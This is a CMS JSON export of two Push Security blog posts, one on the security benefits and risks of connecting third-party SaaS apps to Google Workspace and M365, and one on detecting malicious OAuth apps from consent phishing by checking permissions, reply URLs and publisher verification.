true.",{"data":211572,"content":211573,"nodeType":866},{},[211574],{"data":211575,"marks":211576,"value":211577,"nodeType":865},{},[],"The reality is that it’s probably already happening across your organization, whether you know it or not. After all, SaaS use is key to modern working environments and your employees will be using it somehow. At Push Security, it’s not unusual for us to see hundreds of third-party integrations on our customers’ Google Workspace and M365 instances, even in relatively small organizations. ",{"data":211579,"content":211580,"nodeType":866},{},[211581],{"data":211582,"marks":211583,"value":211584,"nodeType":865},{},[],"And in fact it’s not all doom and gloom, since your employees need to use SaaS providers anyway, there are actually some security benefits to making use of social logins and third party SaaS integrations are the key mechanism for doing so. ",{"data":211586,"content":211587,"nodeType":866},{},[211588],{"data":211589,"marks":211590,"value":211591,"nodeType":865},{},[],"This is a key reason to not take a heavy-handed stance of “block all integrations” - while you would certainly reduce the risk of data leaks, you’d also be losing the security benefits of social logins and severely hindering your employees from getting things done quickly and easily. You will also probably force them into effectively doing the same in a different way anyway (perhaps they simply start using their personal google account and google drive where they can do these integrations instead?).",{"data":211593,"content":211594,"nodeType":981},{},[211595],{"data":211596,"marks":211597,"value":211598,"nodeType":865},{},[],"\nWhat are the security benefits?",{"data":211600,"content":211601,"nodeType":866},{},[211602],{"data":211603,"marks":211604,"value":211605,"nodeType":865},{},[],"There are a number of security benefits to using social logins and third-party integrations, but a few key considerations are:",{"data":211607,"content":211608,"nodeType":1616},{},[211609,211624,211639,211654],{"data":211610,"content":211611,"nodeType":1570},{},[211612],{"data":211613,"content":211614,"nodeType":866},{},[211615,211620],{"data":211616,"marks":211617,"value":211619,"nodeType":865},{},[211618],{"type":926},"Fewer passwords",{"data":211621,"marks":211622,"value":211623,"nodeType":865},{},[]," - if your employees use social logins everywhere, they can focus on having one strong password and not have to manage separate accounts and passwords for 20 different SaaS platforms.",{"data":211625,"content":211626,"nodeType":1570},{},[211627],{"data":211628,"content":211629,"nodeType":866},{},[211630,211635],{"data":211631,"marks":211632,"value":211634,"nodeType":865},{},[211633],{"type":926},"MFA everywhere",{"data":211636,"marks":211637,"value":211638,"nodeType":865},{},[]," - if you have set up strong password policies and enforced MFA on your Google and Microsoft accounts, all of your SaaS platforms inherit the same security if you are using social logins.",{"data":211640,"content":211641,"nodeType":1570},{},[211642],{"data":211643,"content":211644,"nodeType":866},{},[211645,211650],{"data":211646,"marks":211647,"value":211649,"nodeType":865},{},[211648],{"type":926},"Visibility of SaaS use",{"data":211651,"marks":211652,"value":211653,"nodeType":865},{},[]," - if employees use custom logins for all their SaaS platforms, you’ll have no idea what SaaS is in use (unless you use the Push browser extension ;)). With social logins and third-party integrations, you can see exactly what integrations you have across your organization, including which employees have shared which type of data access.",{"data":211655,"content":211656,"nodeType":1570},{},[211657],{"data":211658,"content":211659,"nodeType":866},{},[211660,211665],{"data":211661,"marks":211662,"value":211664,"nodeType":865},{},[211663],{"type":926},"Fine-grained permissions ",{"data":211666,"marks":211667,"value":211668,"nodeType":865},{},[],"- OAuth integrations can request as little or as much access as they like. Ideally, many integrations will be nothing more than a social login or will otherwise limit the permissions to a small subset of data they require to reduce the risk. This is far more transparent than alternatives like integrations using API keys typically are.",{"data":211670,"content":211671,"nodeType":1317},{},[211672],{"data":211673,"marks":211674,"value":211675,"nodeType":865},{},[],"What are the security risks?",{"data":211677,"content":211678,"nodeType":1616},{},[211679,211694,211709,211747,211762,211790,211817],{"data":211680,"content":211681,"nodeType":1570},{},[211682],{"data":211683,"content":211684,"nodeType":866},{},[211685,211690],{"data":211686,"marks":211687,"value":211689,"nodeType":865},{},[211688],{"type":926},"Blindspots in your attack surface",{"data":211691,"marks":211692,"value":211693,"nodeType":865},{},[]," - At a higher level, you need to care because each of these third parties is now handling your data and you need to ensure they only have access to what they need to function, that they’re storing and managing your data responsibly, and that you treat them as you would any other vendor in your supply chain.",{"data":211695,"content":211696,"nodeType":1570},{},[211697],{"data":211698,"content":211699,"nodeType":866},{},[211700,211705],{"data":211701,"marks":211702,"value":211704,"nodeType":865},{},[211703],{"type":926},"Excessive permissions",{"data":211706,"marks":211707,"value":211708,"nodeType":865},{},[]," - Third-party integrations can request whatever permissions they like. Some SaaS apps may choose to request excessively high permissions and simply not function unless an employee accepts it. This can lead to employees being conditioned to accept permissions whatever they are and granting excessive permissions.",{"data":211710,"content":211711,"nodeType":1570},{},[211712],{"data":211713,"content":211714,"nodeType":866},{},[211715,211719,211723,211731,211734,211743],{"data":211716,"marks":211717,"value":84010,"nodeType":865},{},[211718],{"type":926},{"data":211720,"marks":211721,"value":211722,"nodeType":865},{},[]," - A technique that tricks a user into granting a malicious third-party app access to their account. Since this technique preys on users that are already logged in, it is effective against users with strong passwords, multi-factor authentication, or even passwordless setups. You can read more about this technique in our ",{"data":211724,"content":211726,"nodeType":889},{"uri":211725},"https://pushsecurity.com/blog/consent-phishing-the-emerging-phishing-technique-that-can-bypass-2fa/",[211727],{"data":211728,"marks":211729,"value":211730,"nodeType":865},{},[],"previous blog post",{"data":211732,"marks":211733,"value":6719,"nodeType":865},{},[],{"data":211735,"content":211737,"nodeType":889},{"uri":211736},"https://www.bleepingcomputer.com/news/security/sans-shares-details-on-attack-that-led-to-their-data-breach/",[211738],{"data":211739,"marks":211740,"value":211742,"nodeType":865},{},[211741],{"type":943},"SANS had a breach in 2020",{"data":211744,"marks":211745,"value":211746,"nodeType":865},{},[]," caused by a consent phishing attack, which led to a leak of around 28,000 records of SANs members’ personal information (PII).",{"data":211748,"content":211749,"nodeType":1570},{},[211750],{"data":211751,"content":211752,"nodeType":866},{},[211753,211758],{"data":211754,"marks":211755,"value":211757,"nodeType":865},{},[211756],{"type":926},"SaaS account compromise",{"data":211759,"marks":211760,"value":211761,"nodeType":865},{},[]," - If an employee has a separate account and password for a SaaS platform and that is compromised somehow, any integrations with your Google workspace or M365 are also compromised. For example, perhaps they have a weak password with no MFA on a SaaS provider and then an attacker uses that to access Google Drive via a pre-existing integration from that SaaS platform.",{"data":211763,"content":211764,"nodeType":1570},{},[211765],{"data":211766,"content":211767,"nodeType":866},{},[211768,211773,211777,211786],{"data":211769,"marks":211770,"value":211772,"nodeType":865},{},[211771],{"type":926},"SaaS provider compromise",{"data":211774,"marks":211775,"value":211776,"nodeType":865},{},[]," - If a SaaS provider itself is compromised, any integrations could also be exploited. This is the SaaS integration equivalent of an MSP or other third party with privileged access to your data being compromised. Hubspot ",{"data":211778,"content":211780,"nodeType":889},{"uri":211779},"https://thehackernews.com/2022/04/into-breach-breaking-down-3-saas-app.html",[211781],{"data":211782,"marks":211783,"value":211785,"nodeType":865},{},[211784],{"type":943},"experienced a breach",{"data":211787,"marks":211788,"value":211789,"nodeType":865},{},[]," in April 2022, which “allowed malicious actors the ability to access and export contact data using the employee's access to several HubSpot accounts.”",{"data":211791,"content":211792,"nodeType":1570},{},[211793],{"data":211794,"content":211795,"nodeType":866},{},[211796,211801,211805,211813],{"data":211797,"marks":211798,"value":211800,"nodeType":865},{},[211799],{"type":926},"Stolen integration tokens ",{"data":211802,"marks":211803,"value":211804,"nodeType":865},{},[],"- The way integrations work under the hood are via OAuth tokens. If these are stolen somehow, due to a device compromise or SaaS provider compromise, they can potentially be used to gain access to data, similar to if a password was stolen in the same circumstances. They also do not expire on a password change, so changing a password after a compromise is not enough on its own to deal with this threat. A recent example of this was the ",{"data":211806,"content":211808,"nodeType":889},{"uri":211807},"https://github.blog/2022-04-15-security-alert-stolen-oauth-user-tokens/",[211809],{"data":211810,"marks":211811,"value":211812,"nodeType":865},{},[],"exploitation of GitHub",{"data":211814,"marks":211815,"value":211816,"nodeType":865},{},[]," via tokens stolen from Heroku and TravisCI. ",{"data":211818,"content":211819,"nodeType":1570},{},[211820],{"data":211821,"content":211822,"nodeType":866},{},[211823,211828,211832,211840],{"data":211824,"marks":211825,"value":211827,"nodeType":865},{},[211826],{"type":926},"Integration backdoors",{"data":211829,"marks":211830,"value":211831,"nodeType":865},{},[]," - Integrations provide another method of backdoor access to a user account post-compromise. Setting up a malicious integration is one method to maintain access to data that will survive a password change conducted as part of incident response. A real-world example of this issue was a privilege escalation attack in Azure, covered nicely ",{"data":211833,"content":211835,"nodeType":889},{"uri":211834},"https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5",[211836],{"data":211837,"marks":211838,"value":211839,"nodeType":865},{},[],"here",{"data":211841,"marks":211842,"value":6719,"nodeType":865},{},[],{"data":211844,"content":211845,"nodeType":1317},{},[211846],{"data":211847,"marks":211848,"value":211849,"nodeType":865},{},[],"Security guidance tips for third-party integrations",{"data":211851,"content":211852,"nodeType":866},{},[211853],{"data":211854,"marks":211855,"value":211856,"nodeType":865},{},[],"Let’s face it, your employees need to use SaaS solutions to be productive and they are going to use them somehow. We have even seen how third-party SaaS integrations can provide some security benefits, too, but there are new risks to be aware of as well. Here are some basic security tips to consider to ensure you are enabling this practice securely.",{"data":211858,"content":211859,"nodeType":1616},{},[211860,211875,211890,211905,211920,211935,211976],{"data":211861,"content":211862,"nodeType":1570},{},[211863],{"data":211864,"content":211865,"nodeType":866},{},[211866,211871],{"data":211867,"marks":211868,"value":211870,"nodeType":865},{},[211869],{"type":926},"Gain visibility",{"data":211872,"marks":211873,"value":211874,"nodeType":865},{},[]," - Whether you know it or not, your employees are probably using SaaS platforms, which may include third-party SaaS integrations. Find out what SaaS platforms and integrations are in use and pay attention to any with sensitive permissions you might want to review. Push can help do this for you. ",{"data":211876,"content":211877,"nodeType":1570},{},[211878],{"data":211879,"content":211880,"nodeType":866},{},[211881,211886],{"data":211882,"marks":211883,"value":211885,"nodeType":865},{},[211884],{"type":926},"Remove dormant or infrequently used integrations ",{"data":211887,"marks":211888,"value":211889,"nodeType":865},{},[],"- Reduce your attack surface by simply removing the apps no one or only a few people are using. This also makes the third-party security vetting process a bit less burdensome, so it’s a smart move once you know which integrations won’t be missed when they’re gone. We can help with this as well. ",{"data":211891,"content":211892,"nodeType":1570},{},[211893],{"data":211894,"content":211895,"nodeType":866},{},[211896,211901],{"data":211897,"marks":211898,"value":211900,"nodeType":865},{},[211899],{"type":926},"Modify incident response playbooks ",{"data":211902,"marks":211903,"value":211904,"nodeType":865},{},[],"- If you have incident response playbooks in place for what to do in the event of an employee’s password being compromised or their laptop/mobile being stolen or infected with malware, you need to consider modifying these. Consider adding invalidating SaaS OAuth tokens in addition to standard steps like password changes, remote wipes and fresh device builds.",{"data":211906,"content":211907,"nodeType":1570},{},[211908],{"data":211909,"content":211910,"nodeType":866},{},[211911,211916],{"data":211912,"marks":211913,"value":211915,"nodeType":865},{},[211914],{"type":926},"Encourage social logins ",{"data":211917,"marks":211918,"value":211919,"nodeType":865},{},[],"- Social logins have a bit of a bad rap, possibly this is due to their roots in low security, non-work environments - but that being said, when using your M365 or Workspace as the identity source these methods are a great for for many organizations that struggle with weak passwords, shared passwords and a lack of MFA across SaaS apps. If you're going to be using social logins, it makes sense to ensure your Google/Microsoft accounts have good password policies and MFA. ",{"data":211921,"content":211922,"nodeType":1570},{},[211923],{"data":211924,"content":211925,"nodeType":866},{},[211926,211931],{"data":211927,"marks":211928,"value":211930,"nodeType":865},{},[211929],{"type":926},"Educate your users about consent phishing",{"data":211932,"marks":211933,"value":211934,"nodeType":865},{},[]," - Awareness of traditional phishing for passwords is pretty high these days, but awareness about consent phishing is far lower. Make sure your employees are aware of this as well and know who to speak to if they’re worried they consented to a malicious app.",{"data":211936,"content":211937,"nodeType":1570},{},[211938],{"data":211939,"content":211940,"nodeType":866},{},[211941,211946,211950,211959,211963,211972],{"data":211942,"marks":211943,"value":211945,"nodeType":865},{},[211944],{"type":926},"Admin approval for sensitive permissions - ",{"data":211947,"marks":211948,"value":211949,"nodeType":865},{},[],"M365 has an admin approval process for integrations and allows you to define low risk permissions that users can consent to themselves. This can allow you to empower users to use social logins and lower risk integrations on their own, but require an admin to approve apps requiring more sensitive permissions. Google workspace allows you to configure restricted permissions but is much less flexible. Check out Microsoft’s ",{"data":211951,"content":211953,"nodeType":889},{"uri":211952},"https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/configure-admin-consent-workflow",[211954],{"data":211955,"marks":211956,"value":211958,"nodeType":865},{},[211957],{"type":943},"admin consent workflow guide",{"data":211960,"marks":211961,"value":211962,"nodeType":865},{},[]," and their article about ",{"data":211964,"content":211966,"nodeType":889},{"uri":211965},"https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/configure-permission-classifications?tabs=azure-portal",[211967],{"data":211968,"marks":211969,"value":211971,"nodeType":865},{},[211970],{"type":943},"how to configure permissions ",{"data":211973,"marks":211974,"value":211975,"nodeType":865},{},[],"for more guidance.",{"data":211977,"content":211978,"nodeType":1570},{},[211979],{"data":211980,"content":211981,"nodeType":866},{},[211982,211987,211991,212001],{"data":211983,"marks":211984,"value":211986,"nodeType":865},{},[211985],{"type":926},"Prioritize apps that need additional vetting ",{"data":211988,"marks":211989,"value":211990,"nodeType":865},{},[],"- prioritize apps based on how many people in the company use it and if it’s requesting access to highly sensitive data to work or integrating with SaaS that have data you don’t want exposed. We provided some more practical guidance on risk prioritization ",{"data":211992,"content":211996,"nodeType":33606},{"target":211993},{"sys":211994},{"id":211995,"type":909,"linkType":910},"3PqX7fLrTIYhWjbEhHSRHG",[211997],{"data":211998,"marks":211999,"value":211839,"nodeType":865},{},[212000],{"type":943},{"data":212002,"marks":212003,"value":1615,"nodeType":865},{},[],{"data":212005,"content":212008,"nodeType":912},{"target":212006},{"sys":212007},{"id":209963,"type":909,"linkType":910},[],{"data":212010,"content":212011,"nodeType":866},{},[212012],{"data":212013,"marks":212014,"value":21,"nodeType":865},{},[],{"entries":212016},{"inline":212017,"hyperlink":212018,"block":212027},[],[212019,212023],{"sys":212020,"__typename":1429,"title":212021,"slug":212022},{"id":211373},"Should I let my employees login with their work Google account?","should-i-let-my-employees-login-with-their-work-google-account",{"sys":212024,"__typename":1429,"title":212025,"slug":212026},{"id":211995},"5 steps to manage the risk of unsanctioned SaaS ","manage-saas-risks-without-hindering-employees",[212028,212035,212041,212047,212052,212059,212065,212071],{"sys":212029,"__typename":1390,"title":212030,"caption":212031,"layoutMode":59,"file":212032},{"id":211456},"OAuth Adobe example","Example of an OAuth / Social login",{"url":212033,"width":210433,"height":212034},"https://images.ctfassets.net/y1cdw1ablpvd/6pEiqSetxWVLelN31IKEeY/c0d22fd96149753ebc08d05b79c398c5/image6.png",922,{"sys":212036,"__typename":1390,"title":212037,"caption":212038,"layoutMode":59,"file":212039},{"id":211476},"Login with Google example","Choose which Google account to login with",{"url":212040,"width":210433,"height":212034},"https://images.ctfassets.net/y1cdw1ablpvd/n3VMAqOZNNsOoQrdjZyvS/79e6a4d8c33add2d014be89457907da1/image4.png",{"sys":212042,"__typename":1390,"title":212043,"caption":212043,"layoutMode":59,"file":212044},{"id":211496},"Push OAuth (third-party integration) details panel",{"url":212045,"width":212046,"height":93322},"https://images.ctfassets.net/y1cdw1ablpvd/5LRUtkyeQF3RvD7V9KVBNV/4bd2f9cb0b0709a74a32259543461d45/image3.png",733,{"sys":212048,"__typename":1390,"title":212049,"caption":212049,"layoutMode":59,"file":212050},{"id":211509},"Permission request from Google",{"url":212051,"width":210433,"height":134177},"https://images.ctfassets.net/y1cdw1ablpvd/4oCVoWws9dIB52qS3dXqdv/5cb3dd2d3be0295443853b86ac0afbba/image2.png",{"sys":212053,"__typename":1390,"title":212054,"caption":212055,"layoutMode":59,"file":212056},{"id":211515},"Adobe wants to access your Google account","Adobe connecting to Google",{"url":212057,"width":210433,"height":212058},"https://images.ctfassets.net/y1cdw1ablpvd/AdvCDGO8Hqow3GhbA8JVv/dc70d323c1e5cce3e78e257b481b16a2/image1.png",1566,{"sys":212060,"__typename":1390,"title":212061,"caption":212061,"layoutMode":59,"file":212062},{"id":211528},"Acrobat requesting permission to access Google ",{"url":212063,"width":210433,"height":212064},"https://images.ctfassets.net/y1cdw1ablpvd/6Mai9NoebpGJvZBv4yUyDZ/98e63a152b4cdd7608195f10240604d6/image5.png",634,{"sys":212066,"__typename":1390,"title":212067,"caption":212068,"layoutMode":59,"file":212069},{"id":211541},"Push's OAuth integration panel Adobe","Push's OAuth integration panel for the Adobe app",{"url":212070,"width":212046,"height":93322},"https://images.ctfassets.net/y1cdw1ablpvd/6bAz2nvGdkJYA45K7Sfwh/4c09eb10980f8f94f05b9ccaa1f97227/image7.png",{"sys":212072,"__typename":212073,"content":212074,"title":212085,"buttonText":212086,"buttonUrl":212087,"signupRedirectUrl":59},{"id":209963},"ActionBlockComponent",{"json":212075},{"nodeType":1382,"data":212076,"content":212077},{},[212078],{"nodeType":866,"content":212079,"data":212084},[212080],{"nodeType":865,"value":212081,"marks":212082,"data":212083},"Find out if you have any malicious apps that employees have accidentally installed due to consent phishing. Note: you must be logged in to access.",[],{},{},"Detect risky third-party apps and malicious mail rules ","Check now","/app/feature/secure-oauth-permissions-and-applications/",{"items":212089},[],{},"Should I connect third-party apps to my M365/Google tenant?","2022-10-12T00:00:00.000Z",{"items":212094},[212095,212555],{"__typename":1429,"sys":212096,"content":212098,"title":212541,"synopsis":212542,"hashTags":59,"publishedDate":212543,"slug":212544,"tagsCollection":212545,"authorsCollection":212551},{"id":212097},"6yiDFGYTMw79qmErstqRqp",{"json":212099},{"data":212100,"content":212101,"nodeType":1382},{},[212102,212134,212137,212144,212151,212156,212163,212179,212186,212193,212213,212270,212273,212280,212349,212365,212372,212379,212398,212405,212425,212432,212439,212446,212453,212460,212467,212473,212480,212487,212503,212506,212524],{"data":212103,"content":212104,"nodeType":866},{},[212105,212109,212118,212122,212130],{"data":212106,"marks":212107,"value":212108,"nodeType":865},{},[],"Despite measures by Microsoft to address the issue, ",{"data":212110,"content":212112,"nodeType":889},{"uri":212111},"https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/",[212113],{"data":212114,"marks":212115,"value":212117,"nodeType":865},{},[212116],{"type":943},"consent phishing is still on the rise",{"data":212119,"marks":212120,"value":212121,"nodeType":865},{},[],". (Not sure what consent phishing is? ",{"data":212123,"content":212124,"nodeType":889},{"uri":211725},[212125],{"data":212126,"marks":212127,"value":212129,"nodeType":865},{},[212128],{"type":943},"Read more here",{"data":212131,"marks":212132,"value":212133,"nodeType":865},{},[],"). Although prevention is best, how do you check this hasn’t already happened? ",{"data":212135,"content":212136,"nodeType":972},{},[],{"data":212138,"content":212139,"nodeType":866},{},[212140],{"data":212141,"marks":212142,"value":212143,"nodeType":865},{},[],"First, a bit of background on how OAuth apps work in Microsoft 365.",{"data":212145,"content":212146,"nodeType":866},{},[212147],{"data":212148,"marks":212149,"value":212150,"nodeType":865},{},[],"When you install an OAuth app in Microsoft 365, you see something like the familiar consent screen below, which shows the app's name and the permissions it's asking for. Once you've given your consent, behind the scenes a “service principal” is created in your tenant - this is your instance of the app. When the app does whatever the app is supposed to do (e.g. inspect your calendar, manage your to-do list etc.), it does it via this service principal.",{"data":212152,"content":212155,"nodeType":912},{"target":212153},{"sys":212154},{"id":205255,"type":909,"linkType":910},[],{"data":212157,"content":212158,"nodeType":866},{},[212159],{"data":212160,"marks":212161,"value":212162,"nodeType":865},{},[],"The app is able to authenticate to do this using a token that it is sent during the consent process. If you look closely at the URL you visit to get to the consent screen (example below), you’ll see there is a reply URL parameter - this is telling Microsoft where to send the token when a user consents:",{"data":212164,"content":212165,"nodeType":866},{},[212166,212170,212175],{"data":212167,"marks":212168,"value":212169,"nodeType":865},{},[],"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=\u003Cclient_id>&response_type=code&",{"data":212171,"marks":212172,"value":212174,"nodeType":865},{},[212173],{"type":926},"redirect_uri=https%3A%2F%pushsecurity.com ",{"data":212176,"marks":212177,"value":212178,"nodeType":865},{},[],"&response_mode=query&scope=https%3A%2F%2Fgraph.microsoft.com%2F calendars.read%20https%3A%2F%2Fgraph.microsoft.com%2Fmail.send&state=12345",{"data":212180,"content":212181,"nodeType":866},{},[212182],{"data":212183,"marks":212184,"value":212185,"nodeType":865},{},[],"The app uses this token to authenticate as the service principal to then do whatever it’s supposed to do. In case your hacker brain is getting ahead of itself, you can’t change the reply URL to any old value to steal tokens. The app developer specifies a list of URLs that are allowed to be used here in the app’s manifest - more on that later.",{"data":212187,"content":212188,"nodeType":866},{},[212189],{"data":212190,"marks":212191,"value":212192,"nodeType":865},{},[],"Until recently, this ecosystem was a bit of a wild west. Although you can publish apps in the official app store, you don’t have to. Attackers were able to create an app on their tenant and then send consent URLs encouraging victims to grant them access, often having great success. ",{"data":212194,"content":212195,"nodeType":866},{},[212196,212200,212209],{"data":212197,"marks":212198,"value":212199,"nodeType":865},{},[],"In October 2020, ",{"data":212201,"content":212203,"nodeType":889},{"uri":212202},"https://techcommunity.microsoft.com/t5/azure-active-directory-identity/publisher-verification-and-app-consent-policies-are-now/ba-p/1257374",[212204],{"data":212205,"marks":212206,"value":212208,"nodeType":865},{},[212207],{"type":943},"Microsoft released “Publisher verification”",{"data":212210,"marks":212211,"value":212212,"nodeType":865},{},[],", allowing developers to be vetted by Microsoft and get a badge of approval on their consent screens. The following month, Microsoft changed policies so users, by default, weren't allowed to consent to apps that didn't come from a verified publisher. This makes a consent phishing attack much more difficult for attackers who are now left with the following options:",{"data":212214,"content":212215,"nodeType":1616},{},[212216,212237,212260],{"data":212217,"content":212218,"nodeType":1570},{},[212219],{"data":212220,"content":212221,"nodeType":866},{},[212222,212226,212234],{"data":212223,"marks":212224,"value":212225,"nodeType":865},{},[],"Find a tenant that allows users to consent to non-verified apps. The default should have been changed for all to not allow this but you can change it back (in case you’re curious, ",{"data":212227,"content":212228,"nodeType":889},{"uri":209880},[212229],{"data":212230,"marks":212231,"value":212233,"nodeType":865},{},[212232],{"type":943},"see how to check your own settings here",{"data":212235,"marks":212236,"value":46245,"nodeType":865},{},[],{"data":212238,"content":212239,"nodeType":1570},{},[212240],{"data":212241,"content":212242,"nodeType":866},{},[212243,212247,212256],{"data":212244,"marks":212245,"value":212246,"nodeType":865},{},[],"Go through the publisher verification process anyway: the process is ",{"data":212248,"content":212250,"nodeType":889},{"uri":212249},"https://docs.microsoft.com/en-gb/azure/active-directory/develop/publisher-verification-overview#requirements",[212251],{"data":212252,"marks":212253,"value":212255,"nodeType":865},{},[212254],{"type":943},"detailed here",{"data":212257,"marks":212258,"value":212259,"nodeType":865},{},[],". It’s probably possible to trick but requires mocking a real company which is going to be expensive and hard to scale.",{"data":212261,"content":212262,"nodeType":1570},{},[212263],{"data":212264,"content":212265,"nodeType":866},{},[212266],{"data":212267,"marks":212268,"value":212269,"nodeType":865},{},[],"Compromise an already verified publisher: definitely adds cost and complexity to an attack but would be an extremely valuable and effective approach - how much do you trust the security of all your app publishers?",{"data":212271,"content":212272,"nodeType":972},{},[],{"data":212274,"content":212275,"nodeType":866},{},[212276],{"data":212277,"marks":212278,"value":212279,"nodeType":865},{},[],"So let’s look for some malicious apps...",{"data":212281,"content":212282,"nodeType":866},{},[212283,212287,212296,212300,212309,212313,212322,212325,212334,212338,212345],{"data":212284,"marks":212285,"value":212286,"nodeType":865},{},[],"The Azure AD interface to inspect OAuth apps, or service principals, is the ",{"data":212288,"content":212290,"nodeType":889},{"uri":212289},"https://portal.azure.com/#blade/Microsoft_AAD_IAM/StartboardApplicationsMenuBlade/AllApps/menuId/",[212291],{"data":212292,"marks":212293,"value":212295,"nodeType":865},{},[212294],{"type":943},"Enterprise Applications blade",{"data":212297,"marks":212298,"value":212299,"nodeType":865},{},[]," but it’s lacking key information you need for this exercise like the reply URLs and publisher status. You might be able to see similar info if you have the licenses for ",{"data":212301,"content":212303,"nodeType":889},{"uri":212302},"https://docs.microsoft.com/en-gb/cloud-app-security/what-is-cloud-app-security",[212304],{"data":212305,"marks":212306,"value":212308,"nodeType":865},{},[212307],{"type":943},"Cloud App Security",{"data":212310,"marks":212311,"value":212312,"nodeType":865},{},[]," but they’re expensive - you can also get full information about service principals from ",{"data":212314,"content":212316,"nodeType":889},{"uri":212315},"https://docs.microsoft.com/en-us/graph/api/resources/serviceprincipal?view=graph-rest-1.0",[212317],{"data":212318,"marks":212319,"value":212321,"nodeType":865},{},[212320],{"type":943},"Graph API",{"data":212323,"marks":212324,"value":11397,"nodeType":865},{},[],{"data":212326,"content":212328,"nodeType":889},{"uri":212327},"https://docs.microsoft.com/en-us/powershell/module/az.resources/get-azadserviceprincipal?view=azps-6.3.0",[212329],{"data":212330,"marks":212331,"value":212333,"nodeType":865},{},[212332],{"type":943},"PowerShell",{"data":212335,"marks":212336,"value":212337,"nodeType":865},{},[]," (is it too early to say that ",{"data":212339,"content":212340,"nodeType":889},{"uri":205352},[212341],{"data":212342,"marks":212343,"value":212344,"nodeType":865},{},[],"Push can also solve this problem",{"data":212346,"marks":212347,"value":212348,"nodeType":865},{},[]," for you in only a few button clicks?)",{"data":212350,"content":212351,"nodeType":866},{},[212352,212356,212361],{"data":212353,"marks":212354,"value":212355,"nodeType":865},{},[],"Right off the bat, ",{"data":212357,"marks":212358,"value":212360,"nodeType":865},{},[212359],{"type":926},"we can disregard a lot of the information presented by the app",{"data":212362,"marks":212363,"value":212364,"nodeType":865},{},[],". The app’s name, home page, logo can all be anything an attacker says so if they’re trying to trick a user this will most likely look convincing and legitimate. The best you can do here is sanity check that this app makes sense in the context of your organisation or this user. ",{"data":212366,"content":212367,"nodeType":866},{},[212368],{"data":212369,"marks":212370,"value":212371,"nodeType":865},{},[],"So what is useful?",{"data":212373,"content":212374,"nodeType":1317},{},[212375],{"data":212376,"marks":212377,"value":212378,"nodeType":865},{},[],"What can the app do?",{"data":212380,"content":212381,"nodeType":866},{},[212382,212386,212395],{"data":212383,"marks":212384,"value":212385,"nodeType":865},{},[],"Start by prioritising apps by the permissions they’ve been granted. Attackers will often target access to mail, files, or admin functionality so any app that requests these should be subject to more scrutiny and looked at first. As with any security exercise, you’ll know best for what’s sensitive to your organisation so apply that logic here. If you are unsure what a specific permission means, ",{"data":212387,"content":212389,"nodeType":889},{"uri":212388},"https://docs.microsoft.com/en-us/graph/permissions-reference",[212390],{"data":212391,"marks":212392,"value":212394,"nodeType":865},{},[212393],{"type":943},"here's a full reference",{"data":212396,"marks":212397,"value":14251,"nodeType":865},{},[],{"data":212399,"content":212400,"nodeType":1317},{},[212401],{"data":212402,"marks":212403,"value":212404,"nodeType":865},{},[],"Access to all data or just specific users?",{"data":212406,"content":212407,"nodeType":866},{},[212408,212412,212422],{"data":212409,"marks":212410,"value":212411,"nodeType":865},{},[],"It’s important to understand the difference between app permissions and delegated permissions. In short, app permissions grant tenant-wide access, delegated permissions grant access as the user. For example, if the app permission Mail.Read was granted to an app, it could read everyone’s email. If the delegated permission Mail.Read was granted to an app, it could only read the mail of the person who granted permission. ",{"data":212413,"content":212417,"nodeType":33606},{"target":212414},{"sys":212415},{"id":212416,"type":909,"linkType":910},"16568b78-3c85-451f-bb62-9d50148ca1b9",[212418],{"data":212419,"marks":212420,"value":212421,"nodeType":865},{},[],"Learn more about app vs. delegated permissions here",{"data":212423,"marks":212424,"value":1615,"nodeType":865},{},[],{"data":212426,"content":212427,"nodeType":1317},{},[212428],{"data":212429,"marks":212430,"value":212431,"nodeType":865},{},[],"How many users have installed this app?",{"data":212433,"content":212434,"nodeType":866},{},[212435],{"data":212436,"marks":212437,"value":212438,"nodeType":865},{},[],"If you are the victim of consent phishing, hopefully the attacker only managed to dupe a small number of users, so common advice would be prioritise apps with a low install count. Although this makes sense, it’s often not that practical since, unless you’ve been running a tight ship, you’ll probably find a lot of apps used by one or two people.",{"data":212440,"content":212441,"nodeType":866},{},[212442],{"data":212443,"marks":212444,"value":212445,"nodeType":865},{},[],"On the flip side, app permissions can only be approved by an admin; admins can also consent to delegated permissions on behalf of all users. So apps with these permissions - effectively tenant-wide access - have also probably been approved by only a single user. Hopefully you have more faith in your admins’ ability to spot a phish but you should still treat these as having only been vetted by a single user.",{"data":212447,"content":212448,"nodeType":1317},{},[212449],{"data":212450,"marks":212451,"value":212452,"nodeType":865},{},[],"Where the tokens go - the thing you can’t spoof",{"data":212454,"content":212455,"nodeType":866},{},[212456],{"data":212457,"marks":212458,"value":212459,"nodeType":865},{},[],"The only piece of information an app can’t lie about is its reply URLs. As mentioned above, these are the URLs that Microsoft is allowed to send an access token to when a user consents. If the app publisher doesn’t own these domains, they won’t ever receive their token and they can’t use the app’s access. If you can confirm all the reply URLs specified by the app are legitimately owned by the organisation the app is supposed to be from, you can be fairly confident the app is owned by them.",{"data":212461,"content":212462,"nodeType":866},{},[212463],{"data":212464,"marks":212465,"value":212466,"nodeType":865},{},[],"In the interests of keeping this short(er), a guide on domain analysis is probably out of scope. However, here’s a real-world example malicious OAuth app that was pretending to be Salesforce related, using a pretty suspicious looking URL, so you won’t always need deep analysis:",{"data":212468,"content":212472,"nodeType":912},{"target":212469},{"sys":212470},{"id":212471,"type":909,"linkType":910},"1oSdJPeXHsGlAXeX6Q2UOs",[],{"data":212474,"content":212475,"nodeType":1317},{},[212476],{"data":212477,"marks":212478,"value":212479,"nodeType":865},{},[],"Is it verified? Does it matter?",{"data":212481,"content":212482,"nodeType":866},{},[212483],{"data":212484,"marks":212485,"value":212486,"nodeType":865},{},[],"You might be tempted to trust any app that is verified by Microsoft. The stamp of verification is clearly worth something but, as mentioned earlier, don’t discount the possibility of a determined attacker compromising a verified publisher to publish their own malicious app or edit an existing one. ",{"data":212488,"content":212489,"nodeType":866},{},[212490,212494,212499],{"data":212491,"marks":212492,"value":212493,"nodeType":865},{},[],"Likewise, you might also find a lot of your service principals, even ones by seemingly reputable publishers, are reported as not verified. This is because the service principal is an instance of the app at the time of install - if the publisher wasn’t verified at that point, the service principal won’t be (even if the publisher has since been verified). Since Microsoft only introduced publisher verification in 2020, all 